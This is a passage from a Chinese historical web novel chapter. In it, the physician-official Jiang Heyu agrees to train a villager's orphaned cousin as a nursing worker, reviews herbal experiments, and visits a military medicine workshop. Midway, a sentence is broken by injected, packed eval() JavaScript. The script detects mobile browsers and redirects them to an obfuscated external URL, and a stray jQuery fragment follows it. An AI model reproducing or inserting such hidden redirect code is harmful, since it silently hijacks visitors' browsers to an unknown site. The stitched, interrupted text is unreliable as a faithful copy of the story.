“我走了玲姐,你记得一会儿把锅里温着的荷包蛋端出来,给姜大人送上去。”
“好嘞!”妇人头也不抬地应一声。
“可千万别忘了!”小叶不放心,“一早晨水米未进怎么能行。”
“知道了,整日操不完的心。”玲姐利落地将豆角咔咔掰成几段,摆摆手笑着赶她,“安心去吧!”
小叶迟疑点头,挎着包一步三回头地往门外走。
刚跨出门槛,迎面就与一堵肉墙撞上。
“哎哟!”
小叶往后一个趔趄,陈老二忙面红耳赤地将她拉住。
“对不住,对不住!没磕着哪里吧?”
小叶勉强站稳脚,没好气地瞪他一眼:“后面有鬼撵你啊?”
分明是你走路不往前看。
陈老二抿抿唇,却不敢说出口。
偏过身子往里瞧了瞧,二楼静悄悄的。他挠着头问:“姜大人还没放课呢?”
小叶反问:“你找姜大人做什么?”
陈老二咧嘴一笑:“嘿嘿,给姜大人送点儿自家园子里种的菜,还有老母鸡下的蛋。”
他说着,揭开了身前大竹筐上盖着的粗布。
挤挤挨挨大半箩筐丝瓜和葵菜,绿油油的表皮上还粘着露水。最上面压着个竹篮,篮中放着两条油亮的腊肉,大大小小二三十余个黄壳鸡蛋。
小叶语气缓和下来:“已到点了,可能还需多讲个半刻钟一刻钟的。”
“哦,那……”
“去院子里等罢,我先走了。”小叶绕开眼前壮硕的身躯。
“哎——”陈老二猝不及防,忙喊她一声,对上那双询问的眼,黝黑的面皮透出一点红,“那个,小叶,你是不是要去军营?我也要去城郊的冶铁作坊,要不……你同我一起罢,我……我今天赶了牛车。”
小叶看看他,又看看停在门口的牛车,不明白这吝啬鬼怎么突然舍得赶牛车了。
“谢了。但我赶时间,不能再等了。”
“赶时间不更需要坐牛车嘛!”陈老二的脑子又开了窍,他憨憨笑道,“这样,你先走着,等我见完姜大人就赶车来追你,然后送你去军营。”
小叶琢磨片刻,礼貌一笑,点头应下:“也好,那麻烦你了。”
“不麻烦不麻烦,就是顺路的事儿。”
陈老二笑呵呵应着,晕头晃脑地进了院子,直到楼梯间传来学生放课的动静,都没反应过来。
“二哥!”陈硕一拳砸在他胸口,“想什么呢?叫你好几声了!”
“哦,哦!”陈老二回过神来,“小硕,你们结束了?”他往三三两两结伴休息的学生中瞧了好几眼,没找到姜鹤羽,忙问道,“姜大人呢?”
“先生在五楼吃早食呢。”
陈老二一听,扛起竹筐就要走。
陈硕忙拉他:“哥,你干啥!送的东西放厨房就好了。”
“你懂个球!”陈老二骂他一句,挣开手噌噌就往楼上爬。
五楼药物试验房。
姜鹤羽站在门外吃了厨房送上来的荷包蛋,罩上一层干净的雪白外袍,刚要推门进去,就听得地板“咚咚咚”一阵响。
偏头一看,一道小山一般身影挡住大半廊窗,遮天蔽日地跑过来。
“姜大人!姜大人!”
姜鹤羽叹一声,揉揉耳朵,站在原处等他,“陈虎,有什么事吗?”
陈虎将大竹筐“砰”地放地上,气都没喘一声,笑道:“姜大人,小民给您送点家里老人种的瓜果。”
姜鹤羽隔着筐子扫了一眼,确定没什么特别贵重的东西,这才放心收下:“替我多谢二老。”
和善又亲切的态度,让陈虎有些不好意思起来,“谢啥,不过是些不值钱的吃食罢了。姜大人这么照顾我家阿弟,该我们谢您还来不及……”
姜鹤羽应了句“无妨”,注意到他欲言又止的表情,直言道:“是不是还有什么话想跟我说?”
“我……”陈虎对上那双仿佛能洞悉一切的眼睛,犹豫半晌,咬牙道,“姜大人,是这样的。我有个远房表妹,今年一十六岁,她五岁时没了父母,一直借住在我们家。
“如今姑娘大了,阿娘不愿把她嫁回村里去,就盘算着给她谋份生计,可一时又没什么头绪。我这些日子瞧着,您堂中那些护工娘子,都是凭自己本事吃饭的。您看……能不能将我们家妧娘也收下,我们出束脩,让她也跟着大家伙儿一起,学门手艺?”
陈虎一鼓作气说完,似已用尽勇气,垂下头,不敢与姜鹤羽对视。
原来是这事。
这种能进一步扩大仁和堂影响力的事,姜鹤羽求之不得。
她笑道:“当然可以。只是护工的活儿并不轻松,得做好心理准备。”
这就成了?
陈虎喜出望外,嘴角几乎咧到天边去,“多谢姜大人,多谢姜大人!妧娘能吃苦的,她比小硕那孩子还要勤快能干!我明日就让她带着束脩过来!”
“可以。”姜鹤羽安排下来,“我看你同小叶还算熟悉,届时让小叶带带她。”
陈虎闻言一慌,低下头,声音都小了不少:“谢姜大夫,劳烦您替我们给小叶娘子也带一声谢。”
姜鹤羽看着他羞窘的样子,瞧出几分端倪,笑道:“这话我可不带,你得自己当面去谢她。”
“啊,好。”陈虎讷讷应下。
“无事就回罢。辛苦你,把这菜再搬到院中厨房去。”
陈虎这才明白,他带着菜上来找人的小心思早被发现了。
可姜大人非但没生气,还愿意收下妧娘,找人带她学手艺。
他尴尬又羞愧,口中应着“是”,头几乎要埋到脚脖子里。
姜鹤羽搭上门闩,正欲开门进去,忽而想到什么,又回头道:“护工的束脩是半两,别带多了。”
“啊?”
陈虎愣愣抬起头,却见那道身影已经消失在阖上的房门后。
他在原地站了半晌,学着那些读书人,朝着房门笨拙鞠了一躬,又扛起菜筐子往回走。
试验房内,黄遇山从堆满药材的桌案上抬起头,瞥一眼进来的身影,“又日行一善呢?”
姜鹤羽笑一声:“这叫各取所需。”
更何况,这陈家一家人本就过得艰
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15905177|165765||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
难,竟还如此精细地养着一个失恃失怙的小姑娘,已然堪称纯善之家。她有这个能力,顺手之事,为何不拉一把?
“哼。”黄遇山早已习惯她嘴硬心软,摘下手衣,起身活动活动筋骨,“你来罢,我收拾收拾,去给他们上药理课。”
姜鹤羽在桌案边坐下,拾起手札,“可有什么进展?”
“能有什么进展?”黄遇山皱起眉,嘀嘀咕咕地抱怨,“他们要做的药可能根本用不完这几种药材,又或者,根本不止这几种药材。没有方子,这杂七杂八的一堆药,谁知他们要拿来做什么?真是上面一句话,下面跑断腿。”
姜鹤羽摸摸鼻子,没敢说送去吐蕃的药材药效不对一事,是她告诉魏刺史的。
“该死的郑同文,合该把他骨灰也扬了!”黄遇山骂骂咧咧往外走。
“没人领他的尸首,昨日已经同近期的一批死囚一块儿烧成灰,倒进护城河里了。”姜鹤羽道。
“好啊!烧得好!卖国贼!”黄遇山解了气,拉开门“砰”一声离去。
姜鹤羽无声一笑,低头细看黄遇山在手札上留下的新纪录。
片刻后,她拿起小秤,探身取过某种药草,往秤盘上一点点增添。
屋内安静下来,只余一些轻微的、加减药材的动静。
再次抬头,看向窗外,竟已是午后。
门边的午食不知是何时送来的,已有些凉了。
姜鹤羽端过来,胡乱往口中塞着饭菜,视线不离手中那张打了好几处标记的宣纸。
填饱肚子,她又坐在原处思考许久,突然猛地起身,开门走到正对庭院的廊窗边。
“洪枫!”
“哎——在呢!”院中的圆头小子手中捏着豆角,飞快抬头应声。
“备马!”
“是!”
一路快马加鞭赶到城郊,洪枫还未来得及将马车停稳,车内的女子就掀帘跃下,快步往眼前的大院子而去。
军药作坊的大管事听见门房匆匆来禀,忙带上录册,起身朝坊内而去。
作坊内,数十台桌案上摆着统一打制的石制蒸馏器,匠人们身着净衣,包头覆面,忙得热火朝天。
一开始,姜鹤羽也曾想过将蒸馏器做成琉璃的,更方便使用。
奈何实在太过昂贵。无论是原材料,还是加工费,都不是医药司能负担得起的。无奈之下,只能退而求其次,改用石材。
至于如何判断内里药液的情况,则全凭她在作坊刚建起来的那段时日,带着第一批匠人,用去不知多少大蒜和烧酒,一遍又一遍试出来的经验。
曾管事在作坊内找了一大圈,才在某个不起眼的角落寻到自家上司。
他擦了把汗,上前道:“大人突然来,可是有什么吩咐?”
姜鹤羽没忙着先解他的惑,而是先将他带来的录册细细看了一遍。
没发现什么问题,她向他确认道:“最近生产上可有什么困难?”
“没什么困难。”曾管事稳重的脸上浮起自信的笑意,“您交待的数目,保证能在年前全部做出来。”
“如果再翻一倍呢?”姜鹤羽问。